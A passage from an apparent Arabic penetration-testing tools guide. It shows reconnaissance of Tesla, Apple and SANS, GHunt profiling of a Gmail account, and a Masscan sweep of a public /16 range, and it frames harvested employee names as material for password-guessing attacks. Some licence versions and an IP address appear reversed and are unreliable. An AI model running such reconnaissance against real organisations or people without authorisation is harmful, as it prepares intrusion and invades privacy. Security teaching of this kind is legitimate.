[*] Notes: None
[*] Region: None
```

```
[*] ------------------------------------------------
[*] Country: None
[*] Host: o3.ptr1444.tesla.com
[*] Ip_Address: 149.72.152.236
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: ptr2.tesla.com
[*] Ip_Address: 117.50.14.178
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: o2.ptr556.tesla.com
[*] Ip_Address: 149.72.134.64
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: o7.ptr6980.tesla.com
[*] Ip_Address: 149.72.144.42
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
```

```
[*] ------------------------------------------------
[*] Country: None
[*] Host: o5.ptr8466.tesla.com
[*] Ip_Address: 149.72.172.170
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: o6.ptr9437.tesla.com
[*] Ip_Address: 168.245.123.10
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: sin05-gpgw1.tesla.com
[*] Ip_Address: 199.120.53.30
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: acs2-poc.voice.tesla.com
[*] Ip_Address: 199.120.48.73
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
```

```
[*] ---------------------------------------------------
[*] Country: None
[*] Host: vpn1.tesla.com
[*] Ip_Address: 8.45.124.215
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ---------------------------------------------------
[*] Country: None
[*] Host: xmail.tesla.com
[*] Ip_Address: 204.74.99.100
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ---------------------------------------------------

-------
SUMMARY
-------
[*] 31 total (31 new) hosts found.
[recon-ng][default][hackertarget] >
```

تحميل: https://github.com/lanmaster53/recon-ng

٥.١ SpiderFoot

هنا نتكلم عن أداة ذكية فعلاً في عالم الـ OSINT. فكرة SpiderFoot ببساطة إنك تعطيها هدفك، وتتركها تشتغل كأن عندك فريق استخباراتي كامل يشتغل بالنيابة عنك. تبدأ تجمع كل شيء ممكن يرتبط بالهدف: نطاقات، عناوين IP، إيميلات موظفين، حسابات اجتماعية، شهادات رقمية، تسريبات بيانات، وحتى أصول رقمية منسية ما كنت تدري إنها موجودة أصلاً.

القوة الحقيقية هنا في عدد المصادر اللي تعتمد عليها الأداة، أكثر من 200 مصدر بيانات مختلف، من محركات بحث عادية، خدمات أمنية متخصصة، قواعد بيانات عامة، وصولاً إلى مصادر من الشبكة المظلمة (Dark Web). وكل هذا

يتم بشكل آلي كامل، مع قدرة على الزحف والتحليل وربط المعلومات ببعضها لإظهار الصورة الكاملة لسطح الهجوم الرقمي (Attack Surface).

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	الويب + سطر الأوامر (CLI) على Windows/Linux/macOS
التكلفة	مجاني/مدفوع
نوع الترخيص	GPL-0.2

مميزات أداة SpiderFoot

مثال عملي: فحص شامل لنطاق شركة آبل (Apple) لجمع البيانات الاستخباراتية:

```
python3 sf.py -s apple.com -m sfp_dnsresolve,sfp_email -q
```

شرح المثال: في هذا المثال، قمنا بفحص نطاق apple.com. المخرجات تعرض بوضوح البنية التحتية للشبكة، بما في ذلك عنوان IPv6 وعنوان IPv4 الرئيسي (10.144.253.17). النقطة الأكثر إثارة للاهتمام هي اكتشاف الأداة لارتباط بالنطاق www.brkgls.com، وهو نطاق فرعي قد يكون مرتبطاً بخدمات خلفية أو بنية تحتية للطوارئ، مما يوضح قدرة الأداة على كشف العلاقات الخفية بين النطاقات.

المخرجات:

```
yaser@CyberBookio:~/spiderfoot$ python3 sf.py -s apple.com -m sfp_dnsresolve,
   sfp_email -q

Source          Type                 Data
SpiderFoot UI   Internet Name        apple.com
SpiderFoot UI   Domain Name          apple.com
sfp_dnsresolve  IPv6 Address         2620:149:af0::10
sfp_dnsresolve  Domain Name          apple.com
sfp_dnsresolve  IP Address           17.253.144.10
sfp_dnsresolve  Internet Name        apple.com
sfp_dnsresolve  Internet Name        www.brkgls.com
sfp_dnsresolve  Domain Name (Parent) brkgls.com
```

تحميل: https://spiderfoot.org

٦.١ Metagoofil

أداة متخصصة مجانية ومفتوحة المصدر مصممة لاستخراج وتحليل البيانات الوصفية (Metadata) المخفية داخل الملفات والمستندات العامة المنشورة على المواقع الإلكترونية. تعمل Metagoofil بالبحث التلقائي في محركات البحث مثل Google عن أنواع ملفات محددة مرتبطة بنطاق مستهدف (Target Domain)، ثم تقوم بتحميل هذه الملفات وتحليلها بعمق لاستخراج معلومات حساسة قد لا يدرك ناشروها وجودها. تشمل البيانات الوصفية القابلة للاستخراج: أسماء المستخدمين (Usernames) للموظفين الذين أنشأوا الملفات، أسماء الأجهزة والخوادم، مسارات الملفات الداخلية (Internal File Paths)، إصدارات البرامج المستخدمة (Software Versions)، عناوين البريد الإلكتروني، تواريخ الإنشاء والتعديل، وأحياناً معلومات عن البنية التحتية الداخلية للشبكة. تدعم الأداة تنسيقات ملفات متعددة مثل PDF، DOC، PPTX، PPT، XLSX، XLS، DOCX، وغيرها. يستخدمها مختبرو الاختراق (Penetration Testers) في مرحلة الاستطلاع للحصول على معلومات استخباراتية قيمة قد تساعد في الهجمات الموجهة أو الهندسة الاجتماعية (Social Engineering).

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ
أنظمة التشغيل	سطر الأوامر (CLI) على Windows/Linux/macOS
التكلفة	مجاني
نوع الترخيص	GPL-0.2

مميزات أداة Metagoofil

مثال عملي: دورة كاملة لجمع وتحليل البيانات الوصفية من (SANS) باستخدام أدوات متعددة:

```
1. metagoofil -d sans.org -t pdf -n 8 -o sans_docs
2. cd sans_docs/
3. exiftool * | grep -i "Author"
```

شرح المثال: هذا المثال يوضح دورة حياة الهجوم الكاملة. أولاً، نستخدم Metagoofil لأتمتة عملية البحث عن المستندات وتحميلها من موقع sans.org. ثانياً، ننتقل إلى المجلد ونستخدم ExifTool لفحص جميع الملفات دفعة واحدة.

استطعنا استخراج أسماء المستخدمين الحقيقية (Lynn ,dgoetz ,Brian) من داخل ملفات الـ PDF، وهي معلومات ذهبية لتنفيذ هجمات التخمين على كلمات المرور لاحقاً.

المخرجات:

```
yaser@CyberBookio:~$ metagoofil -d sans.org -t pdf -l 20 -n 8 -o sans_docs


  _  _   __  _ _____  __   __  __   ___  _  _
 | || | /  \| |_   _|/  \ /  \/  \ | __|| || |
 |_||_| \__/|_| |_|  \__/ \__/ \__/ |_|  |_||____|

[*] Starting online search...
[*] Searching for pdf files in sans.org
[*] Results: 20 files found.

[*] Downloading 8 files...
    [+] Downloaded: agenda.pdf
    [+] Downloaded: hexquiz_answers.pdf
    [+] Downloaded: SANS_Roadmap.pdf
    [+] Downloaded: trademarkuse.pdf
    [+] Downloaded: whatworksextrahoppaper.pdf
    ...
[*] Download complete. Files saved to sans_docs/

yaser@CyberBookio:~$ cd sans_docs/
yaser@CyberBookio:~/sans_docs$ exiftool * | grep -i "Author"
Author                          : Brian
Author                          : dgoetz
Author                          : Lynn
```

تحميل: https://github.com/opsdisk/metagoofil

٧.١ OSINT Framework

منصة مرجعية شاملة ومجانية على الإنترنت تجمع مئات الأدوات والموارد المتخصصة في الاستخبارات مفتوحة المصدر (OSINT) وتنظمها بطريقة بصرية تفاعلية على شكل خريطة ذهنية قابلة للتوسيع. يُعد OSINT Framework دليلاً عملياً ومرجعاً أساسياً للمحققين الرقميين (Digital Investigators)، محللي الأمن السيبراني (Cyberse-curity Analysts)، الصحفيين الاستقصائيين (Investigative Journalists)، والباحثين الأمنيين (Security Researchers) الذين يحتاجون إلى تحديد الأداة أو المصدر المناسب لمهمة استخباراتية محددة. يصنف الإطار الأدوات حسب فئات منطقية واضحة مثل: البحث عن أسماء المستخدمين (Username Search)، تحليل وسائل التواصل الاجتماعي (Social Media Analysis)، البحث عن أسماء النطاقات وعناوين IP، تحليل الصور ومقاطع الفيديو (Image and Video Analysis)، البحث في الشبكة المظلمة (Dark Web Search)، تحليل البيانات الوصفية (Metadata Analysis)، البحث الجغرافي (Geolocation)، والكثير من الفئات الأخرى.

كل أداة مدرجة تحتوي على رابط مباشر، مما يسهل الوصول السريع. يتم تحديث الإطار بانتظام من قبل المجتمع التقني، ويعمل بشكل كامل عبر المتصفح دون الحاجة لتثبيت أي برامج، مما يجعله نقطة انطلاق مثالية لأي عملية استطلاع أو تحقيق رقمي.

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ
أنظمة التشغيل	الويب
التكلفة	مجاني
نوع الترخيص	MIT License

مميزات أداة OSINT Framework

تحميل: https://osintframework.com

٨.١ Sherlock

إذا كان عندك اسم مستخدم وتحتاج معرفة وين صاحبه موجود على الإنترنت، فهنا يجي دور Sherlock. هذه الأداة تتصرف وكأنها محقق إلكتروني سريع جداً، تعطيها اسم المستخدم وتتركها تدور في عشرات المنصات والمواقع وتجيب لك الصورة الكاملة للبصمة الرقمية (Digital Footprint) للشخص.

فكرتها تبحث في مئات المواقع ومنصات التواصل الاجتماعي بشكل متوازي، مثل X و Instagram و GitHub و Reddit و TikTok وغيرها الكثير، وتعرض لك وين الاسم موجود فعلاً ووين مو موجود، وهذا يجعلها ممتازة للتحقيقات الرقمية، كشف الحسابات المزيفة، حالات الانتحال، وحتى للأبحاث الأمنية في مرحلة الاستطلاع (Reconnaissance). تشغيلها بسيط من سطر الأوامر، وتقدر تحفظ النتائج بصيغ مثل JSON أو CSV عشان تكمل التحليل أو تستخدمها ضمن أدوات أخرى.

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ
أنظمة التشغيل	سطر الأوامر (CLI) على Windows/Linux/macOS
التكلفة	مجاني
نوع الترخيص	MIT

مميزات أداة Sherlock

مثال عملي: البحث عن اسم مستخدم شائع (yaser) وتحليل النتائج الكثيفة:

```
python3 sherlock yaser --timeout 1 --print-found
```

شرح المثال: في هذا الاختبار، بحثنا عن اسم شائع جداً (yaser). ظهرت النتائج في 177 موقعاً! وهنا يبرز دور المحلل في تصفية الضجيج (Noise). رغم كثرة النتائج، فإن ظهور حسابات في منصات كبرى وحيوية مثل TikTok و Reddit و Telegram و GitHub يعطي نقاط ارتكاز قوية للتحقيق، بينما يمكن تجاهل المنصات الصغيرة غير المؤثرة.

المخرجات:

```
yaser@CyberBookio:~$ sherlock yaser --timeout 1 --print-found
Update available! 0.15.0 --> 0.16.0
https://github.com/sherlock-project/sherlock/releases/tag/v0.16.0
[*] Checking username yaser on:

[+] 9GAG: https://www.9gag.com/u/yaser
[+] GitHub: https://www.github.com/yaser
[+] GitLab: https://gitlab.com/yaser
```

```
[+] HackTheBox: https://forum.hackthebox.com/u/yaser
[+] Medium: https://medium.com/@yaser
[+] Reddit: https://www.reddit.com/user/yaser
...
...
[+] SoundCloud: https://soundcloud.com/yaser
[+] Spotify: https://open.spotify.com/user/yaser
[+] Telegram: https://t.me/yaser
[+] TikTok: https://www.tiktok.com/@yaser
[+] Wikipedia: https://en.wikipedia.org/wiki/Special:CentralAuth/yaser
[+] WordPressOrg: https://profiles.wordpress.org/yaser/

[*] Search completed with 177 results
```

تحميل: https://github.com/sherlock-project/sherlock

٩.١ GHunt

هذه الأداة فكرتها جبارة في عالم الاستخبارات مفتوحة المصدر (OSINT)، وهي متخصصة في شيء واحد فقط وهي اكتشاف حسابات Google. بكل بساطة، أنت تعطيها أي بريد إلكتروني من نوع Gmail، وهي تذهب وتجمع لك كنوزاً من المعلومات عن صاحب هذا الحساب. الجميل في الموضوع أنها لا تحتاج إلى اختراق أو أي وصول غير قانوني، بل تستغل بذكاء كل المعلومات المتاحة بشكل عام في خدمات Google المختلفة. المعلومات التي تستطيع استخراجها مدهشة حقيقةً مثل اسم صاحب الحساب الكامل، معرفه الخاص في جوجل (GAIA ID)، صورته الشخصية، متى آخر مرة غيرها، أي مراجعات كتبها على خرائط جوجل (Google Maps)، ألبوماته العامة في صور جوجل (Google Photos)، وحتى قنوات اليوتيوب المرتبطة بحسابه. يستخدمها المحققون الرقميون ومختبرو الاختراق الأخلاقيون (Ethical Hackers) بشكل كبير لفهم البصمة الرقمية لأي هدف مرتبط بحساب جوجل. الأداة تعمل من سطر الأوامر وتقدم لك النتائج بشكل مرتب وواضح، مما يجعلها إضافة قوية جداً لأي باحث أمني.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	سطر الأوامر (CLI) على Windows/Linux/macOS
التكلفة	مجاني
نوع الترخيص	AGPL-0.3

مميزات أداة GHunt

مثال عملي: استقصاء حساب (Gmail) باستخدام أداة GHunt:

```
ghunt email hacker.one.bounty@gmail.com
```

شرح المثال: في هذا الاختبار، استهدفنا البريد الإلكتروني hacker.one.bounty. نجحت الأداة في المصادقة وسحب البيانات الأساسية مثل المعرف الرقمي الفريد (Gaia ID) وتاريخ آخر تعديل للملف الشخصي (مارس 2023). ومع ذلك، نلاحظ في قسمي Maps و Calendar عدم وجود بيانات عامة (No review و public No، calendar) مما يدل على أن الهدف قام بضبط إعدادات الخصوصية بشكل جيد لمنع تسريب موقعه أو جدول مواعيده.

المخرجات:

```
yaser@CyberBookio:~$ ghunt email hacker.one.bounty@gmail.com

     .d8888b.  888    888                    888
    d88P  Y88b 888    888                    888
    888    888 888    888                    888
    888        8888888888 888  888 88888b.   888888
    888  88888 888    888 888  888 888 "88b  888
    888    888 888    888 888  888 888  888  888
    Y88b  d88P 888    888 Y88b 888 888  888  Y88b.
     "Y8888P88 888    888  "Y88888 888  888   "Y888 v2

               > GHunt 2.3.3 (   Spider Edition) <

[+] Stored session loaded !
```

```
[+] Authenticated !

  Google Account data
[+] Custom profile picture !
=> https://lh3.googleusercontent.com/a-/ALV-UjXRK2OOAfYveZ_CuGLjlvg_sYzZzRP6itARnhwsQ
[-] Default cover picture
Last profile edit : 2023/03/27 07:51:47 (UTC)
Email : hacker.one.bounty@gmail.com
Gaia ID : 112364206281821368972

User types :
- GOOGLE_USER (The user is a Google user.)

  Google Chat Extended Data
Entity Type : PERSON
Customer ID : Not found.

  Maps data
Profile page : https://www.google.com/maps/contrib/112364206281821368972/reviews
[-] No review.

  Calendar data
[-] No public Google Calendar.
```

تحميل: https://github.com/mxrch/GHunt

١٠.١ Have I Been Pwned

هذه الخدمة تعتبر كنزاً حقيقياً في عالم الأمن السيبراني، وأنا شخصياً أعتبرها مرجعاً أساسياً لأي شخص مهتم بحماية بياناته. أسسها الخبير الأمني الأسترالي المتميز Troy Hunt، وفكرتها بكل بساطة هي تجميع كل بيانات الاختراقات والتسريبات الضخمة التي حصلت في تاريخ الإنترنت في قاعدة بيانات واحدة ضخمة جداً، نتكلم عن أكثر من 14 مليار حساب مخترق! الخدمة تسمح لأي شخص، وبشكل مجاني تماماً، أنه يبحث بإيميله أو رقم جواله ويتأكد إذا كانت بياناته قد تسربت في أي من هذه الاختراقات. والأجمل من هذا كله، أنها تعطيك تفاصيل دقيقة عن كل اختراق ظهر فيه حسابك من هي الشركة التي

تم اختراقها، متى حصل الاختراق، وما هي أنواع البيانات التي تسربت بالضبط (هل هي كلمات مرور، أسماء، عناوين، إلخ). أرى أنها أداة لا غنى عنها للأفراد حتى يحموا أنفسهم، وأيضاً للمحققين الأمنيين والشركات التي تستخدم الواجهة البرمجية (API) الخاصة بالخدمة لفحص أنظمتها بشكل تلقائي. الحقيقة، وجود مثل هذه المشاريع المفتوحة والمجانية هو ما يثري مجتمعنا التقني ويساعد في رفع مستوى الوعي الأمني عند الجميع.

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ
أنظمة التشغيل	الويب + واجهة برمجية (API)
التكلفة	مجاني/مدفوع
نوع الترخيص	احتكاري

مميزات أداة Have I Been Pwned

تحميل: https://haveibeenpwned.com

خاتمة القسم: استخبارات المصادر المفتوحة (OSINT)

تكمن القيمة الحقيقية لاستخبارات المصادر المفتوحة ليس في حجم البيانات التي يتم جمعها، بل في القدرة على التحقق من صحتها في بيئة رقمية مشبعة بالمعلومات المضللة والمصممة للتلاعب. لم يعد التحدي هو العثور على الإبرة في كومة القش، بل التأكد من أن الإبرة التي تم العثور عليها حقيقية وليست مزيفة.

يقدم التحقيق الذي أجرته مجموعة Bellingcat في قضية إسقاط طائرة الخطوط الجوية الماليزية MH17 فوق أوكرانيا في عام 2014 دراسة حالة جوهرية لهذا المبدأ. في مواجهة سيل من الإنكار الرسمي والتضليل الإعلامي، اعتمدت المجموعة بالكامل على المصادر المفتوحة لتنفيذ عملية تحقيق رقمية دقيقة:

١. **تحديد الموقع الجغرافي (Geolocation):** من خلال مقارنة صور ومقاطع فيديو نشرها شهود عيان على وسائل التواصل الاجتماعي لمنظومة صواريخ (BUK)، تمكنوا من تحديد مسار تحركها بدقة عبر شرق أوكرانيا، وصولاً إلى حقل المزارع الذي أُطلق منه الصاروخ.

٢. **التحقق من الأدلة:** تم تحليل الظلال واتجاه الشمس في الصور لتأكيد توقيت التقاطها، وتتبع أعمدة الدخان في مقاطع الفيديو لتحديد موقع الإطلاق، وفحص البيانات الوصفية للصور لكشف أي تلاعب.

٣. **ربط النقاط:** من خلال ربط هذه الأدلة الرقمية مع سجلات الاتصالات المسربة وتقارير شهود العيان، تم بناء قضية متماسكة لا يمكن دحضها، حددت هوية الوحدة العسكرية الروسية المسؤولة، وهو ما تم تأكيده لاحقاً من قبل المحققين الدوليين الرسميين.

يوضح هذا المثال أن الأدوات في هذا القسم من Maltego إلى Shodan ليست سوى وسائل فعالة لتجميع نقاط البيانات الأولية (raw data points). لكن مسؤولية المحلل تكمن في تحويل هذه النقاط المتناثرة إلى استخبارات قابلة للتنفيذ (actionable intelligence). وهذا يتطلب تشكيكاً منهجياً، وتحقيقاً متقاطعاً للمصادر، وفهماً عميقاً للتحيزات الكامنة في البيانات. فالمحلل ليس مجرد جامع للمعلومات، بل هو من يقوم بعملية التحقق والربط (validation and correlation) لتحويل الفرضيات إلى استنتاجات مدعومة بالأدلة.

ومع ذلك، يجب أن ندرك أن OSINT ليس معصوماً أو كاملاً. ففي عصر الذكاء الاصطناعي والتزييف العميق (Deepfakes)، ومع سيل المحتوى المعدّل خوارزمياً، يصبح نقص السياق وتضليل الواقع تحدياً حقيقياً. هنا تظهر قيمة المحلل المحترف القادر على تمييز الحقيقة من البناء المصطنع، والوقائع من السرديات المصممة بعناية.

وبينما وفرت لنا OSINT رؤية عامة واستراتيجية للبيئة المحيطة بالهدف، فإن الرحلة لا تنتهي هنا. بل إن ما سيأتي بعد ذلك في مرحلة الفحص والاستطلاع (Scanning and Reconnaissance) هو الانتقال من المشاهدة والتحليل عن بُعد إلى التفاعل التقني المباشر مع البنية التحتية للهدف، وتحويل الصورة النظرية إلى واقع ملموس يمكن قياسه واختباره.

في نهاية المطاف، الأداة الأقوى في عالم استخبارات المصادر المفتوحة ليست برنامجاً، ولا منصة تحليل متقدمة، بل هي العقل النقدي القادر على قراءة ما وراء البيانات، ورؤية الحقيقة حتى عندما تُحاط بالضجيج والتزييف. ذلك العقل هو ما يصنع الفارق بين مجرد معلومات، واستخبارات حقيقية تصنع القرار.

٢ الفحص والاستطلاع (Scanning and Reconnaissance)

إذا كانت مرحلة OSINT هي دراسة الخريطة من بعيد، فإن مرحلة الفحص والاستطلاع هي إرسال الكشافة لاستطلاع التضاريس عن قرب. هنا، ننتقل من العالم السلبي للمعلومات المتاحة للجميع إلى التفاعل النشط والمباشر مع البنية التحتية للهدف. هذه المرحلة حاسمة لأنها تحول الافتراضات إلى حقائق، وتوفر فهماً ملموساً لمرحلة الهجوم الفعلي. إنها تشبه تماماً عملية فحص طبيب للمريض، حيث يقوم بالتحسس والنقر والاستماع لتشخيص الحالة بدقة قبل وصف أي علاج. الأدوات في هذا القسم هي سماعة الطبيب الرقمية، تمكننا من سماع الخدمات التي تعمل على المنافذ، ورؤية بنية الشبكة، ومعرفة نقاط الضعف المحتملة.

في هذه المرحلة، نحن لا نكتفي بالنظر إلى واجهة المبنى من الشارع، بل نقترب لنتحسس جدرانه، ونطرق على أبوابه ونوافذه (المنافذ)، لنرى أيها مفتوح وأيها مغلق، وما الذي يقف خلف كل باب. كل منفذ مفتوح هو باب محتمل، وكل خدمة تعمل عليه هي موظف استقبال يمكن أن نستخلص منه معلومات قيمة عن طبيعة عمل النظام، إصداره، وحتى بعض الأخطاء في إعداداته. هدفنا هو رسم مخطط تفصيلي ودقيق للبنية الرقمية للهدف، وتحديد كل نقطة دخول ممكنة.

تتطلب هذه المرحلة توازناً دقيقاً بين الجرأة والحذر. فالفحص العدواني قد يطلق أجهزة الإنذار ويعرض العملية للخطر، بينما الفحص الخجول قد يفوت معلومات حيوية. لذلك، فإن الأدوات المعروضة هنا متنوعة من Nmap سكين الجيش السويسري لمسح الشبكات الذي يوفر تحكماً دقيقاً في كل حزمة، إلى الماسحات الضوئية عالية السرعة مثل Masscan المصممة لمسح نطاقات واسعة من الإنترنت بسرعة البرق. إن إتقان هذه الأدوات لا يتعلق فقط بمعرفة الخيارات والأوامر، بل بفهم متى يجب استخدام القوة الغاشمة ومتى يجب التحرك بخفة وهدوء، فالمعلومات التي نجمعها هنا هي الأساس الذي ستبنى عليه كل الخطوات اللاحقة.

تاريخياً، لعبت هذه المرحلة دوراً محورياً في بعض أشهر الهجمات السيبرانية. على سبيل المثال، في هجوم Stuxnet الشهير الذي استهدف البرنامج النووي الإيراني، لم يكن الهجوم عشوائياً. بعد أن تسللت الدودة الإلكترونية إلى الشبكة الداخلية المعزولة، بدأت في مرحلة فحص واستطلاع دقيقة وهادئة. كانت تقوم بمسح الشبكة بحثاً عن هدف محدد للغاية وهي أنظمة التحكم الصناعية (PLCs) من شركة سيمنز والتي تدير أجهزة الطرد المركزي لتخصيب اليورانيوم. لم تقم الدودة بتفعيل حمولتها التدميرية إلا بعد أن تحققت من خلال المسح الدقيق أنها وصلت إلى الهدف الصحيح. هذا المثال يوضح أن الفحص ليس مجرد إحصاء للمنافذ المفتوحة، بل هو عملية استخباراتية قد تكون العامل الفاصل بين هجوم فاشل وعملية جراحية دقيقة تُحدث أثراً مادياً في العالم الحقيقي.

١.٢ Nmap

إذا تكلمنا عن عالم الشبكات والأمن السيبراني، فلا يمكن أبداً أن نتجاوز الحديث عن الأداة الأسطورية والأشهر على الإطلاق Nmap. هذه الأداة، التي طورها جوردون ليون عام 1997، أصبحت مثل السكين السويسري لكل محترف في هذا المجال. قوتها الحقيقية تكمن في قدرتها على رسم خريطة كاملة لأي شبكة، حيث تستطيع اكتشاف الأجهزة المتصلة، وفحص آلاف المنافذ (Ports) بسرعة خيالية، والأجمل من ذلك أنها لا تكتفي بالقول أن هناك خدمة تعمل، بل تحدد لك نوعها وإصدارها بدقة متناهية، وحتى نظام التشغيل للجهاز المستهدف عبر تقنيات بصمات الشبكة (TCP/IP Fingerprinting) المتقدمة.

لكن السحر الحقيقي في Nmap هو محرك البرمجة النصية الخاص بها (Nmap Scripting Engine - NSE)، الذي يحتوي على مكتبة ضخمة تضم أكثر من 600 سكربت جاهز لأتمتة مهام مثل اكتشاف الثغرات الأمنية المعروفة، اختبار كلمات المرور الضعيفة، والبحث عن أي إعدادات خاطئة. يستخدمها المخترقون الأخلاقيون ومديرو الشبكات بشكل يومي، إما في عمليات اختبار الاختراق أو لمراقبة البنية التحتية والتأكد من أمانها. طبعاً، تدعم الأداة تقنيات فحص متقدمة جداً مثل SYN stealth scan و UDP scan، مع قدرات ممتازة على التخفي ومحاولة تجاوز أنظمة كشف التسلل (IDS/IPS).

من الناحية التقنية، يمكن ضبط Nmap بشكل عميق للتحكم في كل تفاصيل الفحص تقريباً، من توقيت الحزم (Timing Templates) لتسريع الفحص أو جعله أكثر هدوءاً، إلى تحديد أنواع الفحوص المركبة (Combined Scans)، وتعطيل أو تفعيل تقنيات الكشف عن الأنظمة (OS Detection) وخدمات النسخ الاحتياطي (Service Detection) حسب الحاجة. تدعم الأداة عدداً كبيراً من تنسيقات الإخراج مثل Normal، XML، Grepable، وجميعها يمكن إدماجها مع أدوات أخرى في سلاسل عمل متقدمة مثل Vulnerability Scanners أو أطر عمل الاختبار. كما يمكن للمستخدمين المتقدمين كتابة سكربتات NSE خاصة بهم لتطوير فحوص مخصصة تناسب بيئتهم، مما يحول Nmap إلى منصة فحص شبكي قابلة للبرمجة وليست مجرد أداة مسح منافذ تقليدية.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	سطر الأوامر (CLI) + واجهة رسومية (Zenmap - GUI) على macOS / Linux / Windows
التكلفة	مجاني
نوع الترخيص	Nmap Public Source License

مميزات أداة Nmap

مثال عملي: تسلسل الفحص الشبكي الشامل باستخدام Nmap:

```
1. nmap -sV -F scanme.nmap.org
2. nmap -A -T4 scanme.nmap.org
3. nmap --script http-enum -p 80 testphp.vulnweb.com
```

شرح المثال: يوضح هذا التسلسل منهجية الفحص المتدرج.

١. **الفحص الأول:** سريع ومحدد؛ كشف عن إصدارات قديمة لخدمة Apache و OpenSSH.

٢. **الفحص الثاني:** عدواني (A-)؛ كشف عن مفاتيح التشفير (SSH Host Keys) وحاول تخمين نظام التشغيل، حيث اشتبه النظام بوجود جدار حماية Fortinet أمام الخادم.

٣. **الفحص الثالث:** محاولة لتشغيل سكربتات اكتشاف الثغرات، لكن النتيجة ظهرت بحالة filtered. هذا درس مهم؛ حيث يشير إلى أن جدار الحماية (الذي ظهر في سجل rDNS كتبعية لـ AWS) قام بحظر محاولة الفحص العدواني، وهو تحدٍ شائع في البيئات السحابية.

المخرجات:

```
yaser@CyberBookio:~$ nmap -sV -F scanme.nmap.org
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 14:23 +04
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.30s latency).
Not shown: 95 closed tcp ports (reset)
PORT    STATE    SERVICE     VERSION
22/tcp  open     ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
25/tcp  open     tcpwrapped
80/tcp  open     http        Apache httpd 2.4.7 ((Ubuntu))
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

yaser@CyberBookio:~$ nmap -A -T4 scanme.nmap.org
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 14:24 +04
PORT     STATE    SERVICE     VERSION
22/tcp   open     ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
| ssh-hostkey:
|   1024 ac:00:a0:1a:82:ff:cc:55:99:dc:67:2b:34:97:6b:75 (DSA)
|   2048 20:3d:2d:44:62:2a:b0:5a:9d:b5:b3:05:14:c2:a6:b2 (RSA)
25/tcp   open     tcpwrapped
80/tcp   open     http        Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Go ahead and ScanMe!
Device type: firewall
```

```
Running (JUST GUESSING): Fortinet embedded (90%)
Aggressive OS guesses: Fortinet FortiGate 200B firewall (90%)

yaser@CyberBookio:~$ nmap --script http-enum -p 80 testphp.vulnweb.com
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 14:28 +04
Nmap scan report for testphp.vulnweb.com (44.228.249.3)
rDNS record for 44.228.249.3: ec2-44-228-249-3.us-west-2.compute.amazonaws.com
PORT    STATE    SERVICE
80/tcp  filtered http
```

تحميل: https://nmap.org

٢.٢ Masscan

هنا نتكلم عن Masscan وهي وحش السرعة في عالم فحص المنافذ. طورها Robert Graham بهدف واحد وهو فحص الإنترنت بالكامل في أقل من 6 دقائق! نعم، الإنترنت كله. السر في سرعتها الخارقة أنها لا تستخدم مكدس الشبكة (TCP/IP Stack) التقليدي في نظام التشغيل، بل لديها مكدس خاص بها مكتوب من الصفر، وهذا يسمح لها بإرسال ما يصل إلى 10 ملايين حزمة في الثانية الواحدة. رقم فلكي حقيقةً. طريقتها مختلفة تماماً عن Nmap؛ فبينما Nmap يرسل وينتظر الرد، Masscan يرسل كل طلباته دفعة واحدة مثل السيل ولا ينتظر أي رد، وبعدها يجلس ويستقبل الردود التي تعود. هذا الأسلوب غير المتزامن (Asynchronous) هو سبب رئيسي في سرعتها. طبعاً، أداة بهذه القوة لها استخدامات محددة جداً، مثل الأبحاث الأمنية على نطاق الإنترنت، أو عندما تحتاج شركة ضخمة جداً لاكتشاف كل أصولها الشبكية، أو لمراقبة انتشار ثغرة معينة بشكل سريع.

لكن، وهنا لازم أنبه على نقطة مهمة جداً، هذه الأداة مثل سيارة الفورمولا ون، ليست للاستخدام اليومي. سرعتها العالية قد تسبب إزعاجاً كبيراً لأنظمة كشف التسلل (IDS)، وقد تؤدي حتى إلى تعطيل الشبكات الضعيفة. استخدامها يجب أن يكون بحذر شديد وبإذن رسمي وصريح، ودائماً ننصح بتقليل سرعتها في أي بيئة عمل حقيقية حتى لا تسبب كوارث.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	سطر الأوامر (CLI) على Linux/Windows/macOS
التكلفة	مجاني
نوع الترخيص	AGPL-0.3

مثال عملي: فحص شبكة عامة واسعة (Public) Class B باستخدام Masscan:

```
sudo masscan 23.0.0.0/16 -p80 --rate=500
```

